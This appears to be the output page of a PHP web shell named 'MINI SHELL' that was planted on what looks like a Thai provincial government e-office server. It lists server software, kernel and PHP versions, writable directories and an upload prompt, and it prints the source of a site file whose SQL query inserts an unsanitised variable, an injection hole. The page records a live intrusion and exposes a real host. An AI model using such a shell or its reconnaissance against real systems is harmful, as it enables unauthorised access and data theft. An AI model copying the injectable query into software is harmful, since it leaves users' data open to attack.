MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/CA2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/CA2/ajax_minitry.php
<?php
    header("Content-Type: text/plain; charset=windows-874");
	include "../../config/config.inc.php";
	$sql_select=	"SELECT * FROM  department_lbl  WHERE pv_code = '$ministry_id' ORDER BY name  ASC";
	$result= mysql_db_query($dbname,  $sql_select )or die(mysql_error());
    while ($result1= mysql_fetch_assoc($result)){
	$name =  "$result1[name]";
	echo $name."::".$result1[dev_id].",";
	
   }//end while
   // ปิดการเชื่อมต่อ
 	mysql_close();
?>

Anon7 - 2021